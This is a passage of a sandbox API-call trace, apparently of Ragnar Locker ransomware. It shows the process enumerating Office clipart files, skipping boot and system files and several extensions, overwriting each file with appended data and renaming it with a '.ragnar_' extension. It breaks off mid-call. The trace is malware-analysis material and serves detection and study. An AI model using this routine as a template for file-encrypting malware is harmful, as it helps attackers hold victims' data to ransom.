[0091.480] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.480] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.480] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.480] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.480] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.480] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00629_.wmf")) returned 0x20 [0091.480] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00629_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.480] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4070) returned 1 [0091.480] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xfdd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.480] GetProcessHeap () returned 0x580000 [0091.480] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.480] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.482] VirtualAlloc (lpAddress=0x0, dwSize=0xfe6, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.482] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.482] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.482] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xfe6, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xfe6, lpOverlapped=0x0) returned 1 [0091.482] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.482] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xfe6, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.482] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xfe6, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xfe6, lpOverlapped=0x0) returned 1 [0091.482] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xfe6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.482] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.482] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xfe6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.482] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.483] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.483] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.483] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.483] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.483] GetProcessHeap () returned 0x580000 [0091.483] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.483] CloseHandle (hObject=0xf4) returned 1 [0091.483] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00629_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00629_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00629_.WMF" [0091.483] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00629_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00629_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00629_.WMF.ragnar_FD7BD9FC" [0091.483] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00629_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00629_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00629_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.484] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x752a9b00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x752a9b00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x5006, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00633_.WMF", cAlternateFileName="")) returned 1 [0091.484] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.484] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00633_.WMF" | out: lpString1="SO00633_.WMF") returned="SO00633_.WMF" [0091.484] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00633_.WMF") returned=".WMF" [0091.484] lstrcmpiW (lpString1="SO00633_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.484] lstrcmpiW (lpString1="SO00633_.WMF", lpString2="autorun.inf") returned 1 [0091.484] lstrcmpiW (lpString1="SO00633_.WMF", lpString2="boot.ini") returned 1 [0091.484] lstrcmpiW (lpString1="SO00633_.WMF", lpString2="bootfont.bin") returned 1 [0091.484] lstrcmpiW (lpString1="SO00633_.WMF", lpString2="bootsect.bak") returned 1 [0091.484] lstrcmpiW (lpString1="SO00633_.WMF", lpString2="bootmgr") returned 1 [0091.484] lstrcmpiW (lpString1="SO00633_.WMF", lpString2="bootmgr.efi") returned 1 [0091.484] lstrcmpiW (lpString1="SO00633_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.484] lstrcmpiW (lpString1="SO00633_.WMF", lpString2="desktop.ini") returned 1 [0091.484] lstrcmpiW (lpString1="SO00633_.WMF", lpString2="iconcache.db") returned 1 [0091.484] lstrcmpiW (lpString1="SO00633_.WMF", lpString2="ntldr") returned 1 [0091.484] lstrcmpiW (lpString1="SO00633_.WMF", lpString2="ntuser.dat") returned 1 [0091.484] lstrcmpiW (lpString1="SO00633_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.484] lstrcmpiW (lpString1="SO00633_.WMF", lpString2="ntuser.ini") returned 1 [0091.484] lstrcmpiW (lpString1="SO00633_.WMF", lpString2="thumbs.db") returned -1 [0091.484] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.484] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.484] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.484] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.484] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.484] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.484] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.484] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00633_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00633_.wmf")) returned 0x20 [0091.485] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00633_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00633_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.485] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=20486) returned 1 [0091.485] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4ffd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.485] GetProcessHeap () returned 0x580000 [0091.485] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.485] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.487] VirtualAlloc (lpAddress=0x0, dwSize=0x5006, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.487] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.487] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.487] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5006, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5006, lpOverlapped=0x0) returned 1 [0091.488] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.488] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5006, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.488] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5006, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5006, lpOverlapped=0x0) returned 1 [0091.488] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5006, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.488] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.489] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5006, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.489] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.489] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.489] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.489] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.489] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.489] GetProcessHeap () returned 0x580000 [0091.489] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.489] CloseHandle (hObject=0xf4) returned 1 [0091.489] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00633_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00633_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00633_.WMF" [0091.489] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00633_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00633_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00633_.WMF.ragnar_FD7BD9FC" [0091.489] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00633_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00633_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00633_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00633_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.490] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3039c00, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3039c00, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0x1aba, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00638_.WMF", cAlternateFileName="")) returned 1 [0091.490] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.490] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00638_.WMF" | out: lpString1="SO00638_.WMF") returned="SO00638_.WMF" [0091.490] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00638_.WMF") returned=".WMF" [0091.490] lstrcmpiW (lpString1="SO00638_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.490] lstrcmpiW (lpString1="SO00638_.WMF", lpString2="autorun.inf") returned 1 [0091.490] lstrcmpiW (lpString1="SO00638_.WMF", lpString2="boot.ini") returned 1 [0091.490] lstrcmpiW (lpString1="SO00638_.WMF", lpString2="bootfont.bin") returned 1 [0091.490] lstrcmpiW (lpString1="SO00638_.WMF", lpString2="bootsect.bak") returned 1 [0091.490] lstrcmpiW (lpString1="SO00638_.WMF", lpString2="bootmgr") returned 1 [0091.490] lstrcmpiW (lpString1="SO00638_.WMF", lpString2="bootmgr.efi") returned 1 [0091.490] lstrcmpiW (lpString1="SO00638_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.490] lstrcmpiW (lpString1="SO00638_.WMF", lpString2="desktop.ini") returned 1 [0091.490] lstrcmpiW (lpString1="SO00638_.WMF", lpString2="iconcache.db") returned 1 [0091.490] lstrcmpiW (lpString1="SO00638_.WMF", lpString2="ntldr") returned 1 [0091.490] lstrcmpiW (lpString1="SO00638_.WMF", lpString2="ntuser.dat") returned 1 [0091.490] lstrcmpiW (lpString1="SO00638_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.490] lstrcmpiW (lpString1="SO00638_.WMF", lpString2="ntuser.ini") returned 1 [0091.490] lstrcmpiW (lpString1="SO00638_.WMF", lpString2="thumbs.db") returned -1 [0091.491] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.491] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.491] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.491] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.491] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.491] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.491] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.491] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00638_.wmf")) returned 0x20 [0091.491] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00638_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.492] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6842) returned 1 [0091.492] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1ab1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.492] GetProcessHeap () returned 0x580000 [0091.492] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.492] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.493] VirtualAlloc (lpAddress=0x0, dwSize=0x1aba, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.493] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.493] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.493] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1aba, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1aba, lpOverlapped=0x0) returned 1 [0091.494] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.494] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1aba, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.494] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1aba, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1aba, lpOverlapped=0x0) returned 1 [0091.494] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1aba, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.494] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.495] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1aba, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.495] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.495] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.495] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.495] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.495] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.495] GetProcessHeap () returned 0x580000 [0091.495] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.495] CloseHandle (hObject=0xf4) returned 1 [0091.495] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00638_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00638_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00638_.WMF" [0091.495] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00638_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00638_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00638_.WMF.ragnar_FD7BD9FC" [0091.495] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00638_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00638_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00638_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.496] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53153500, ftCreationTime.dwHighDateTime=0x1bd4b44, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x53153500, ftLastWriteTime.dwHighDateTime=0x1bd4b44, nFileSizeHigh=0x0, nFileSizeLow=0x584, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00656_.WMF", cAlternateFileName="")) returned 1 [0091.496] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.496] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00656_.WMF" | out: lpString1="SO00656_.WMF") returned="SO00656_.WMF" [0091.496] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00656_.WMF") returned=".WMF" [0091.496] lstrcmpiW (lpString1="SO00656_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.496] lstrcmpiW (lpString1="SO00656_.WMF", lpString2="autorun.inf") returned 1 [0091.496] lstrcmpiW (lpString1="SO00656_.WMF", lpString2="boot.ini") returned 1 [0091.496] lstrcmpiW (lpString1="SO00656_.WMF", lpString2="bootfont.bin") returned 1 [0091.496] lstrcmpiW (lpString1="SO00656_.WMF", lpString2="bootsect.bak") returned 1 [0091.496] lstrcmpiW (lpString1="SO00656_.WMF", lpString2="bootmgr") returned 1 [0091.496] lstrcmpiW (lpString1="SO00656_.WMF", lpString2="bootmgr.efi") returned 1 [0091.496] lstrcmpiW (lpString1="SO00656_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.496] lstrcmpiW (lpString1="SO00656_.WMF", lpString2="desktop.ini") returned 1 [0091.496] lstrcmpiW (lpString1="SO00656_.WMF", lpString2="iconcache.db") returned 1 [0091.496] lstrcmpiW (lpString1="SO00656_.WMF", lpString2="ntldr") returned 1 [0091.496] lstrcmpiW (lpString1="SO00656_.WMF", lpString2="ntuser.dat") returned 1 [0091.496] lstrcmpiW (lpString1="SO00656_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.496] lstrcmpiW (lpString1="SO00656_.WMF", lpString2="ntuser.ini") returned 1 [0091.496] lstrcmpiW (lpString1="SO00656_.WMF", lpString2="thumbs.db") returned -1 [0091.496] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.497] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.497] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.497] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.497] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.497] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.497] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.497] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00656_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00656_.wmf")) returned 0x20 [0091.497] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00656_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00656_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, 